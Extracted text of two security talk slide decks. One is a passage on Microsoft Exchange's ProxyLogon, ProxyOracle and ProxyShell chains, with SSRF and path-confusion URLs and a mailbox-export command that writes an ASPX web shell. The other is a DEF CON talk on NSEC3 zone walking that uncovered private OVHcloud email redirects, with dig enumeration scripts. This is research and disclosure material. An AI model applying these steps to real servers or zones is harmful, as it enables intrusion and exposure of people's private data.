Section > CopyHeadersToClientResponse > CopyCookiesToClientResponse BeginRequest AuthenticateRequest AuthorizeRequest MapRequestHandler EndRequest IHttpHandler LogRequest Copy Response to Client 1. Request Section > CopyHeadersToServerRequest > CopyCookiesToServerRequest > AddProtocolSpecificHeadersToServerRequest 2. Proxy Section > GetTargetBackEndServerUrl > CreateServerRequest > GetServerResponse 3. Response Section > CopyHeadersToClientResponse > CopyCookiesToClientResponse BeginRequest AuthenticateRequest AuthorizeRequest MapRequestHandler EndRequest IHttpHandler LogRequest Backend Rehydration Module • IIS has implicitly done the Authentication and set the User.Identity to current HttpContext object private void OnAuthenticateRequest(object source, EventArgs args) { if (httpContext.Request.IsAuthenticated) { this.ProcessRequest(httpContext); } } private void ProcessRequest(HttpContext httpContext) { CommonAccessToken token; if (this.TryGetCommonAccessToken(httpContext, out token)) // … } \BackendRehydrationModule.cs BeginRequest AuthenticateRequest AuthorizeRequest MapRequestHandler EndRequest IHttpHandler LogRequest 1 Restore Frontend User Identity 2 private bool TryGetCommonAccessToken(HttpContext httpContext, out CommonAccessToken token) { string text = httpContext.Request.Headers["X-CommonAccessToken"]; flag = this.IsTokenSerializationAllowed(httpContext.User.Identity as WindowsIdentity); if (!flag) throw new BackendRehydrationException(…) token = CommonAccessToken.Deserialize(text); httpContext.Items["Item-CommonAccessToken"] = token; Security\Authentication\BackendRehydrationModule.cs 1 Is Token Serialization Allowed? 2 private bool TryGetCommonAccessToken(HttpContext httpContext, out CommonAccessToken token) { string text = httpContext.Request.Headers["X-CommonAccessToken"]; flag = this.IsTokenSerializationAllowed(httpContext.User.Identity as WindowsIdentity); if (!flag) throw new BackendRehydrationException(…) token = CommonAccessToken.Deserialize(text); httpContext.Items["Item-CommonAccessToken"] = token; Security\Authentication\BackendRehydrationModule.cs Check AD Extended Rights private bool IsTokenSerializationAllowed(WindowsIdentity windowsIdentity) { flag2 = LocalServer.AllowsTokenSerializationBy(clientSecurityContext); return flag2; } private static bool AllowsTokenSerializationBy(ClientSecurityContext clientContext) { return LocalServer.HasExtendedRightOnServer(clientContext, WellKnownGuid.TokenSerializationRightGuid); // ms-Exch-EPI-Token-Serialization } Security\Authentication\BackendRehydrationModule.cs Auth-Flow in Summary 1. Frontend IIS authenticates the request (Windows or Basic authentication) and serializes the current Identity to X-CommonAccessToken HTTP header 2. Frontend generates a Kerberos ticket by its HTTP SPN to Authorization HTTP header 3. Frontend proxies the HTTP request to Backend 4. Backend IIS authenticates the request and check the authenticated user has TokenSerialization right 5. Backend rehydrates the user from X-CommonAccessToken HTTP header HTTP/HTTPS CAS Backend Module F Rehydration Module Module D Module E CAS Frontend HttpProxy Module Module A Module B Module C HTTP/HTTPS Let's Hack the Planet ProxyLogon • The most well-known Exchange Server vulnerability in the world😩 • An unauthenticated attacker can execute arbitrary codes on Microsoft Exchange Server through an only exposed 443 port! • ProxyLogon is chained with 2 bugs: • CVE-2021-26855 - Pre-auth SSRF leads to Authentication Bypass • CVE-2021-27065 - Post-auth Arbitrary-File-Write leads to RCE Where ProxyLogon Begin? 1. Request Section > CopyHeadersToServerRequest > CopyCookiesToServerRequest > AddProtocolSpecificHeadersToServerRequest 2. Proxy Section > GetTargetBackEndServerUrl > CreateServerRequest > GetServerResponse 3. Response Section > CopyHeadersToClientResponse > CopyCookiesToClientResponse BeginRequest AuthenticateRequest AuthorizeRequest MapRequestHandler EndRequest IHttpHandler LogRequest Arbitrary Backend Assignment 1 2 protected override AnchorMailbox ResolveAnchorMailbox() { HttpCookie httpCookie = base.ClientRequest.Cookies["X-AnonResource-Backend"]; if (httpCookie != null) { this.savedBackendServer = httpCookie.Value; } return new ServerInfoAnchorMailbox( BackEndServer.FromString(this.savedBackendServer), this); } HttpProxy\OwaResourceProxyRequestHandler.cs https://[foo]@example.com:443/path#]:444/owa/auth/x.js Super SSRF • What's the root cause about this arbitrary backend assignment? • The Exchange has to adapt the compatibility between new and old architectures, hence Exchange introduces the cookie • A Super SSRF • Control almost all the HTTP request and get all the response • Attach with a Kerberos Ticket with Exchange$ account privilege automatically • Leverage the backend internal API /ecp/proxylogon.ecp to obtain a valid Control Panel session and a file-write bug to get RCE Demo https://youtu.be/SvjGMo9aMwE ProxyOracle • An interesting Exchange Server exploit with different approach • An unauthenticated attacker can recover the victim's username and password in plaintext format simply by pushing the user open the malicious link • ProxyOracle is chained with 2 bugs: • CVE-2021-31195 - Reflected Cross-Site Scripting • CVE-2021-31196 - Padding Oracle Attack on Exchange Cookies Parsing How Users Log-in OWA/ECP? Form-Based Authentication IIS IIS Remote PowerShell RPC Proxy EWS/OWA ECP/OAB… Mailbox Database HTTP/HTTPS IIS Modules Validation Logging IIS Modules Filter FBA Oauth … Rehydration Routing Update RBAC HTTP Proxy Module How FBA Cookies Looks Like cadataTTL cadataKey cadata cadataIV cadataSig FbaModule Encryption Logic @key = GetServerSSLCert().GetPrivateKey() cadataSig = RSA(@key).Encrypt("Fba Rocks!") cadataIV = RSA(@key).Encrypt(GetRandomBytes(16)) cadataKey = RSA(@key).Encrypt(GetRandomBytes(16)) @timestamp = GetCurrentTimestamp() cadataTTL = AES_CBC(cadataKey, cadataIV).Encrypt(@timestamp) @blob = "Basic " + ToBase64String(UserName + ":" + Password) cadata = AES_CBC(cadataKey, cadataIV).Encrypt(@blob) PSEUDO CODE FbaModule Encryption Logic private void ParseCadataCookies(HttpApplication httpApplication) { using (ICryptoTransform transform = aesCryptoServiceProvider.CreateDecryptor()) { try { byte[] array5 = Convert.FromBase64String(request.Cookies["cadata"].Value); bytes2 = transform.TransformFinalBlock(array5, 0, array5.Length); } catch (CryptographicException arg8) { return; } } } HttpProxy\FbaModule.cs The Oracle protected enum LogonReason { None, Logoff, InvalidCredentials, Timeout, ChangePasswordLogoff } \FbaModule.cs Padding Error Padding Good Login Failure Login Success AES Decrypt /logon.aspx ?reason=2 Continue Login /logon.aspx ?reason=0 We can decrypt the cookies now But… How to get the client cookies? We discover a new XSS to chain together However, all sensitive cookies are protected by HttpOnly😥 Take Over Client Requests Visit page /foo.gif Send response Proxy page /foo.gif Send response Send malicious mail to victim Trigger the XSS Set SSRF cookie Victim Exchange Attacker Open malicious mail Redirect to XSS page 1 2 3 4 Demo https://youtu.be/VuJvmJZxogc ProxyShell • The exploit chain we demonstrated at Pwn2Own 2021 • An unauthenticated attacker can execute arbitrary commands on Microsoft Exchange Server through an only exposed 443 port! • ProxyShell is chained with 3 bugs: • CVE-2021-34473 - Pre-auth Path Confusion leads to ACL Bypass • CVE-2021-34523 - Elevation of Privilege on Exchange PowerShell Backend • CVE-2021-31207 - Post-auth Arbitrary-File-Write leads to RCE Where ProxyShell Begin? 1. Request Section > CopyHeadersToServerRequest > CopyCookiesToServerRequest > AddProtocolSpecificHeadersToServerRequest 2. Proxy Section > GetTargetBackEndServerUrl > CreateServerRequest > GetServerResponse 3. Response Section > CopyHeadersToClientResponse > CopyCookiesToClientResponse BeginRequest AuthenticateRequest AuthorizeRequest MapRequestHandler EndRequest IHttpHandler LogRequest ProxyShell • ProxyShell started with a Path Confusion bug on Exchange Server Explicit Logon feature • The feature is designed to enable users to open another mailbox/calendar and display it in a new browser window • The Exchange parsed the mailbox address and normalized the URL internally https://exchange/OWA/[email protected]/Default.aspx 2 Extract Mailbox Address from URL 1 protected override AnchorMailbox ResolveAnchorMailbox() { if (RequestPathParser.IsAutodiscoverV2PreviewRequest(base.ClientRequest.Url.AbsolutePath)) text = base.ClientRequest.Params["Email"]; // … this.isExplicitLogonRequest = true; this.explicitLogonAddress = text; } public static bool IsAutodiscoverV2PreviewRequest(string path) { return path.EndsWith("/autodiscover.json", StringComparison.OrdinalIgnoreCase); } HttpProxy\EwsAutodiscoverProxyRequestHandler.cs The Fatal Erase protected override UriBuilder GetClientUrlForProxy() { string absoluteUri = base.ClientRequest.Url.AbsoluteUri; uri = UrlHelper.RemoveExplicitLogonFromUrlAbsoluteUri(absoluteUri, this.explicitLogonAddress); return new UriBuilder(uri); } public static string RemoveExplicitLogonFromUrlAbsoluteUri(string absoluteUri, string explicitLogonAddress) { string text = "/" + explicitLogonAddress; if (absoluteUri.IndexOf(text) != -1) return absoluteUri.Substring(0, num) + absoluteUri.Substring(num + text.Length); } HttpProxy\EwsAutodiscoverProxyRequestHandler.cs 1 2 The actual part to be removed Explicit Logon pattern https://exchange/autodiscover/[email protected]/?& Email=autodiscover/autodiscover.json%[email protected] The actual part to be removed Explicit Logon pattern https://exchange/autodiscover/[email protected]/?& Email=autodiscover/autodiscover.json%[email protected] https://exchange:444/?& Email=autodiscover/autodiscover.json%[email protected] Arbitrary Backend Access Again! Exchange PowerShell Remoting • The Exchange PowerShell Remoting is a command-line interface that enables the automation of Exchange tasks • The Exchange PowerShell Remoting is built upon PowerShell API and uses the Runspace for isolations. All operations are based on WinRM protocol • Interact with the PowerShell Backend fails because there is no mailbox for the SYSTEM user • We found a piece of code extract Access-Token from URL Extract Access Token from URL 2 1 private void OnAuthenticateRequest(object source, EventArgs args) { HttpContext httpContext = HttpContext.Current; if (httpContext.Request.IsAuthenticated) { if (string.IsNullOrEmpty(httpContext.Request.Headers["X-CommonAccessToken"])) { Uri url = httpContext.Request.Url; Exception ex = null; CommonAccessToken commonAccessToken = CommonAccessTokenFromUrl(httpContext. User.Identity.ToString(), url, out ex); } } } \Configuration\RemotePowershellBackendCmdletProxyModule.cs Extract Access Token from URL private CommonAccessToken CommonAccessTokenFromUrl(string user, Uri requestURI, out Exception ex) { CommonAccessToken result = null; string text = LiveIdBasicAuthModule.GetNameValueCollectionFromUri( requestURI).Get("X-Rps-CAT"); result = CommonAccessToken.Deserialize(Uri.UnescapeDataString(text)); return result; } \RemotePowershellBackendCmdletProxyModule.cs Privilege Downgrade • An Elevation of Privilege (EOP) because we can access Exchange PowerShell Backend directly • The intention of this operation is to be a quick proxy for Internal Exchange PowerShell communications • Specify the Access-Token in X-Rps-CAT to Impersonate to any user • We use this Privilege Escalation to "downgrade" ourself from SYSTEM to Exchange Admin Execute Arbitrary Exchange PowerShell as Admin And then? Attack Exchange PowerShell • The last piece of the puzzle is to find a post-auth RCE to chain together • Since we are Exchange admin now, It's easy to abuse the Exchange PowerShell command New-MailboxExportRequest to export user's mailbox into an UNC path New-MailboxExportRequest –Mailbox [email protected] –FilePath \\127.0.0.1\C$\path\to\shell.aspx Payload Delivery • How to embed the malicious payload into the exported file? • We deliver the malicious payloads by Emails (SMTP) but the file is encoded😢 • The exported file is in Outlook Personal Folders (PST) format, by reading the MS- PST documentation, we learned it's just a simple permutation encoding mpbbCrypt = [65, 54, 19, 98, 168, 33, 110, 187, 244, 22, 204, 4, 127, 100, 232, …] encode_table = bytes.maketrans((bytearray(mpbbCrypt), bytearray(range(256))) '<%@ Page Language="Jscript"%>…'.translate(encode_table) \RemotePowershellBackendCmdletProxyModule.cs Put it All Together 1. Deliver our encoded WebShell payload by SMTP 2. Launch the native PowerShell and intercept the WinRM protocol • Rewrite the /PowerShell/ to /Autodiscover/ to trigger the Path Confusion bug • Add query string X-Rps-CAT with corresponding Exchange Admin Access Token 3. Execute commands inside the established PowerShell session • New-ManagementRoleAssignment to grant ourself Mailbox Import Export Role • New-MailboxExportRequest to write ASPX file into the local UNC path 4. Enjoy the shell Demo https://youtu.be/FC6iHw258RI Mitigations 1. Keep Exchange Server up-to-date and not externally facing the Internet (especially web part) 2. Microsoft has enhanced the CAS Frontend in April 2021 • The enhancement mitigated the authentication part of this attack surface and reduced the "pre-auth" effectively 3. Move to Office 365 Exchange Online😏(Just kidding) Conclusion • Modern problems require modern solutions • Try to comprehend the architectures from a higher point of view • The Exchange CAS is still a good attack surface • Due to the lack of "pre-auth" bugs, the result may not be as powerful as before • Exchange is still a buried treasure and waiting for you to hunt bugs • Fun fact - even you found a super critical bug like ProxyLogon, Microsoft will not reward you any bounty because Exchange Server On-Prem is out of scope orange_8361 [email protected] Thanks! https://blog.orange.tw
pdf
DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 1 / 40 DNSSECTION Hadrien Barral  Rémi Géraud-Stewart  Amaury Barral David Naccache École normale supérieure @ PSL University / QPSI @ Qualcomm Technologies Inc. What is this about ■ An e-mail privacy breach in the largest French cloud provider ■ The first practical attack based on DNSSEC zone walking ■ A cautionary tale about hash functions DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 2 / 40 Why this matters ■ DNS is everywhere, tons of potentially interesting data ■ Zone walking has never been demonstrated in the wild before DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 3 / 40 Who we are ■ Hadrien Barral Ecole Normale Supérieure / PSL University ■ Rémi Géraud-Stewart, Ph.D, ENS/PSL, QPSI @ Qualcomm ■ This is our second Defcon talk! Done in collaboration with Amaury Barral and David Naccache. DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 4 / 40 1. Who’s behind skytalks-vidz.com? DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 5 / 40 DNS 101 DNS: Domain Name System ■ Naming system for remote resources ■ Distributed database system (NOT a blockchain ffs) ■ Contains Resource Records (RR) and domain names ■ Resolver: figures out the translation of a domain name into an IP address ■ Zones: subtrees maintained by different people DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 6 / 40 Registrars and domain services 101 Scenario: you want to create a new website: ■ Buy a computer ■ Pay for Internet access ■ Pay someone to design a fancy website running on your server ■ Pay a registrar to get the domain name you want ■ Pay someone to run DNS servers that connect the domain name to your server’s IP ■ Pay someone to maintain all of this All-in-one: cloud hosting! DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 7 / 40 OVHcloud 101 OVHcloud ■ Largest French cloud provider (2nd in Europe) ■ They also sell domains ■ And e-mail redirects with that (and they host Wikileaks since 2010, just fyi) DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 8 / 40 E-mail redirects at OVHcloud DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 9 / 40 From: [email protected] → To: [email protected] → E-mail redirects at OVHcloud DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 9 / 40 E-mail redirects at OVHcloud DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 9 / 40 What harm can we do? ■ Assume we access the redirection database... DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 10 / 40 What harm can we do? ■ Assume we access the redirection database... ■ Loads of client information: names, e-mails, billing,... DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 10 / 40 What harm can we do? ■ Assume we access the redirection database... ■ Loads of client information: names, e-mails, billing,... A few ideas pop to mind: ■ Spam? ■ Password dumps? ■ Targeted attacks? ■ Find weak hosts/email providers? ■ Ammo for social engineering? ■ Blackmail? ■ Phishing? ■ Lawsuits? ■ Business recon? ■ ... DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 10 / 40 Sudo bruteforce DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 11 / 40 Sudo bruteforce ■ Get a list of OVHcloud-handled domains DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 11 / 40 Sudo bruteforce ■ Get a list of OVHcloud-handled domains ■ Get a sublist of interesting domains and DNS query them ( ♥ commoncrawl.org) ▶ Works fine for .fr, .ovh, less so for .com... DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 11 / 40 Sudo bruteforce ■ Get a list of OVHcloud-handled domains ■ Get a sublist of interesting domains and DNS query them ( ♥ commoncrawl.org) ▶ Works fine for .fr, .ovh, less so for .com... ■ Get redirection records for public emails (bear with us) ▶ aka the emails we found on the webpage DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 11 / 40 Sudo bruteforce ■ Get a list of OVHcloud-handled domains ■ Get a sublist of interesting domains and DNS query them ( ♥ commoncrawl.org) ▶ Works fine for .fr, .ovh, less so for .com... ■ Get redirection records for public emails (bear with us) ▶ aka the emails we found on the webpage ■ Bruteforce associated DNS queries for usual e-mail addresses {abuse, admin, contact}@example.com DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 11 / 40 How to do this in practice ■ Do not get banned by the DNS server DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 12 / 40 How to do this in practice ■ Do not get banned by the DNS server: Rate limiting → several IPs DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 12 / 40 How to do this in practice ■ Do not get banned by the DNS server: Rate limiting → several IPs ■ Low-tech version DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 12 / 40 How to do this in practice ■ Do not get banned by the DNS server: Rate limiting → several IPs ■ Low-tech version: bash + dig + filesystem DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 12 / 40 How to do this in practice ■ Do not get banned by the DNS server: Rate limiting → several IPs ■ Low-tech version: bash + dig + filesystem while read DOMAIN; do dig mx "${DOMAIN}" > "./save/mx/${DOMAIN}" dig "at.${DOMAIN}" > "./save/at/${DOMAIN}" done < "domain_list.txt" DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 12 / 40 How to do this in practice ■ Do not get banned by the DNS server: Rate limiting → several IPs ■ Low-tech version: bash + dig + filesystem while read DOMAIN; do dig mx "${DOMAIN}" > "./save/mx/${DOMAIN}" dig "at.${DOMAIN}" > "./save/at/${DOMAIN}" done < "domain_list.txt" while read DOMAIN; do for NAME in "abuse" "admin" "contact" ...; do EMAIL="${NAME}.at.${DOMAIN}" dig TXT "${EMAIL}" +noall +answer | grep "${EMAIL}.*IN.TXT" done done < "interesting_domain_list.txt" DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 12 / 40 Demo DEMO DEMO DEMO DEMO DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 13 / 40 Lookie here ■ It works! ■ Considering 14.000 potentially vulnerable domains (mostly .fr TLD), DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 14 / 40 Lookie here ■ It works! ■ Considering 14.000 potentially vulnerable domains (mostly .fr TLD), ■ We found about 15.000 email redirects ■ With about 10.000 unique target emails DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 14 / 40 Lookie here ■ It works! ■ Considering 14.000 potentially vulnerable domains (mostly .fr TLD), ■ We found about 15.000 email redirects ■ With about 10.000 unique target emails Using public emails, we found (private) redirection emails! DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 14 / 40 Lookie here ■ It works! ■ Considering 14.000 potentially vulnerable domains (mostly .fr TLD), ■ We found about 15.000 email redirects ■ With about 10.000 unique target emails Using public emails, we found (private) redirection emails! What are we NOT seeing? DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 14 / 40 2. Stepping up: DNSSECTION DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 15 / 40 DNSSEC 101 ■ DNSSEC could be the topic of an entire talk ■ Here’s what you should know: ▶ DNS is famously insecure, needed some fix ▶ DNSSEC supported by every “good” modern device ▶ Root of trust + tree derivation scheme ▶ Meant to ensure authenticity (not privacy) ■ Sometimes require lockpicking skills DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 16 / 40 Recent DNSSEC key rollover session DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 17 / 40 Source: @joao_damas Demo DNSViz DEMO DEMO DEMO DEMO DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 18 / 40 The issue with negative responses ■ Authenticating "example.com is at 1.2.3.4" is easy ■ Authenticating the absence of "bad.example.com" record is ... trickier ■ We obviously cannot put every negative possibility in the zone! ■ NSEC to the rescue DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 19 / 40 Authenticated denial of existence ■ Principle: ▶ NSEC signs "there is no domain between apple.example.com and carrot.example.com" ▶ Therefore bad.example.com does not exist DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 20 / 40 Zonewalking with NSEC ■ But now we can enumerate all records! DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 21 / 40 Zonewalking with NSEC ■ But now we can enumerate all records! ▶ Pick a random name: "fgfrd.example.com" ▶ Query the DNS server. Answer: nothing between "carrot.example.com" and "good.example.com" ▶ Repeat with "gooda.example.com" ▶ We do this until we loop, at which point we’re done! DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 21 / 40 NSEC is already obsolete ■ Did you think that’s what we were about to do?... guess again! ■ NSEC zone walking does not work in the real world anymore! ■ Indeed, NSEC is almost not used anymore (sad reacts only) DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 22 / 40 Zone walking with NSEC3 ■ NSEC3 (RFC6781, RFC5155) "The first motivation to deploy NSEC3 – prevention of zone enumeration (...)" ■ NSEC3 in a nutshell: SHA1k(domain) (almost universally) ▶ Intuition: same as NSEC but with hashed values instead of real names ▶ Should hide the contents (assuming you can’t do anything with hash values) ▶ We can still dump the SHA1 hash itself, so ZW still kinda works ■ NSEC3 is what is deployed in the real world currently! So let’s attack that :) DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 23 / 40 Zone walking with NSEC3 Assumption: reversing even partially the hash is difficult. DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 24 / 40 Zone walking with NSEC3 Assumption: reversing even partially the hash is difficult. (*Laughs in Bitcoin mining farm*) DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 24 / 40 Zone walking with NSEC3 Assumption: reversing even partially the hash is difficult. (*Laughs in Bitcoin mining farm*) Reality: There are multiple off-the-shelf tools to crack NSEC3 hashes. To the best of our knowledge, never been used to dig valuable data DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 24 / 40 Demo nsec3walker DEMO DEMO DEMO DEMO DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 25 / 40 Sudo GPU bruteforce Bringing out the GPU rig!!! DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 26 / 40 Sudo GPU bruteforce Bringing out the GPU rig!!! JK, we "only" have this: DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 27 / 40 Demo hashcat DEMO DEMO DEMO DEMO DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 28 / 40 Results Let’s consider 16.000 interesting DNSSEC hashed records DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 29 / 40 Results Let’s consider 16.000 interesting DNSSEC hashed records Un-hashed 20% of them DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 29 / 40 Results Let’s consider 16.000 interesting DNSSEC hashed records Un-hashed 40% of them DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 29 / 40 Results Let’s consider 16.000 interesting DNSSEC hashed records Un-hashed 55% of them DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 29 / 40 Results Let’s consider 16.000 interesting DNSSEC hashed records Un-hashed 66% of them DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 29 / 40 Results Let’s consider 16.000 interesting DNSSEC hashed records Un-hashed 72% of them DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 29 / 40 Results Let’s consider 16.000 interesting DNSSEC hashed records Un-hashed 80% of them DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 29 / 40 Results Let’s consider 16.000 interesting DNSSEC hashed records Un-hashed 85% of them DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 29 / 40 Results Let’s consider 16.000 interesting DNSSEC hashed records Un-hashed 88% of them DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 29 / 40 Results Let’s consider 16.000 interesting DNSSEC hashed records Un-hashed 88% of them Results breakdown ■ 75%: reversed the hash, found an interesting email redirection ■ 13%: reversed the hash, found something else ■ 12%: unhash failed (sad face) DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 29 / 40 Results Let’s consider 16.000 interesting DNSSEC hashed records Un-hashed 88% of them Results breakdown ■ 75%: reversed the hash, found an interesting email redirection ■ 13%: reversed the hash, found something else ■ 12%: unhash failed (sad face) Let’s look into the data ! DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 29 / 40 3. All your data are belong to us DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 30 / 40 Disclaimer ■ We are not here to doxx people ■ All people names and domain names in the following examples have been modified With that in mind, let’s dig into the data and tell you what we found :) DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 31 / 40 Some statistics ■ Most webmasters’ real addresses... DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 32 / 40 Some statistics ■ Most webmasters’ real addresses... @gmail.com DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 32 / 40 Some statistics ■ Most webmasters’ real addresses... @gmail.com ■ Guessing name from email... DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 32 / 40 Some statistics ■ Most webmasters’ real addresses... @gmail.com ■ Guessing name from email... about 50% DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 32 / 40 Some statistics ■ Most webmasters’ real addresses... @gmail.com ■ Guessing name from email... about 50% ■ Name couldn’t be found on the website... DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 32 / 40 Some statistics ■ Most webmasters’ real addresses... @gmail.com ■ Guessing name from email... about 50% ■ Name couldn’t be found on the website... about 66% DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 32 / 40 Some statistics ■ Most webmasters’ real addresses... @gmail.com ■ Guessing name from email... about 50% ■ Name couldn’t be found on the website... about 66% ■ Email wouldn’t otherwise appear in a Google search... DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 32 / 40 Some statistics ■ Most webmasters’ real addresses... @gmail.com ■ Guessing name from email... about 50% ■ Name couldn’t be found on the website... about 66% ■ Email wouldn’t otherwise appear in a Google search... about 45% DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 32 / 40 Some statistics ■ Most webmasters’ real addresses... @gmail.com ■ Guessing name from email... about 50% ■ Name couldn’t be found on the website... about 66% ■ Email wouldn’t otherwise appear in a Google search... about 45% ■ Identify business connections/conflict of interest/fake competitors... DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 32 / 40 Some statistics ■ Most webmasters’ real addresses... @gmail.com ■ Guessing name from email... about 50% ■ Name couldn’t be found on the website... about 66% ■ Email wouldn’t otherwise appear in a Google search... about 45% ■ Identify business connections/conflict of interest/fake competitors... about 23% DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 32 / 40 Some statistics ■ Most webmasters’ real addresses... @gmail.com ■ Guessing name from email... about 50% ■ Name couldn’t be found on the website... about 66% ■ Email wouldn’t otherwise appear in a Google search... about 45% ■ Identify business connections/conflict of interest/fake competitors... about 23% Homework: how many of these email addresses have an entry in haveibeenpwned.com? DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 32 / 40 Can we use this power for "good"? Try doxxing scam (and adult) websites! DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 33 / 40 Can we use this power for "good"? Try doxxing scam (and adult) websites! ■ Don’t tell my wife DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 33 / 40 Can we use this power for "good"? Try doxxing scam (and adult) websites! ■ Don’t tell my wife ■ Fail: their email doesn’t disclose their names ■ (but we still have the emails, who’s the scammer and who’s the scammee now!) DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 33 / 40 Anything... serious? ■ Some famous peoples’ emails (mentioned on Wikipedia) DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 34 / 40 Anything... serious? ■ Some famous peoples’ emails (mentioned on Wikipedia) ■ A few personal emails of activists DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 34 / 40 Anything... serious? ■ Some famous peoples’ emails (mentioned on Wikipedia) ■ A few personal emails of activists ■ On a lighter note, a lawyer website with a redirect to... DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 34 / 40 Anything... serious? ■ Some famous peoples’ emails (mentioned on Wikipedia) ■ A few personal emails of activists ■ On a lighter note, a lawyer website with a redirect to... [email protected] DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 34 / 40 Anything... serious? ■ Some famous peoples’ emails (mentioned on Wikipedia) ■ A few personal emails of activists ■ On a lighter note, a lawyer website with a redirect to... [email protected] ■ ~50 redirects for noreply@. Really? DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 34 / 40 Caveat! Manual analysis ■ We manually went through hundreds of websites, fishing for names and emails ▶ Contact pages ▶ Googling names and email addresses ▶ Deal with obscene stuff such as Adobe Flash websites ▶ ... ■ This is all ‘best-effort’: aka we might have missed public data DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 35 / 40 Disclosure with OVHcloud ■ We called the hotline DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 36 / 40 Disclosure with OVHcloud ■ We called the hotline they said "send a mail to abuse@" DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 36 / 40 Disclosure with OVHcloud ■ We called the hotline they said "send a mail to abuse@" ■ First email, including technical details... DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 36 / 40 Disclosure with OVHcloud ■ We called the hotline they said "send a mail to abuse@" ■ First email, including technical details... no reply DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 36 / 40 Disclosure with OVHcloud ■ We called the hotline they said "send a mail to abuse@" ■ First email, including technical details... no reply ■ Call the hotline again to confirm the process, which they do DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 36 / 40 Disclosure with OVHcloud ■ We called the hotline they said "send a mail to abuse@" ■ First email, including technical details... no reply ■ Call the hotline again to confirm the process, which they do ■ Second email... DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 36 / 40 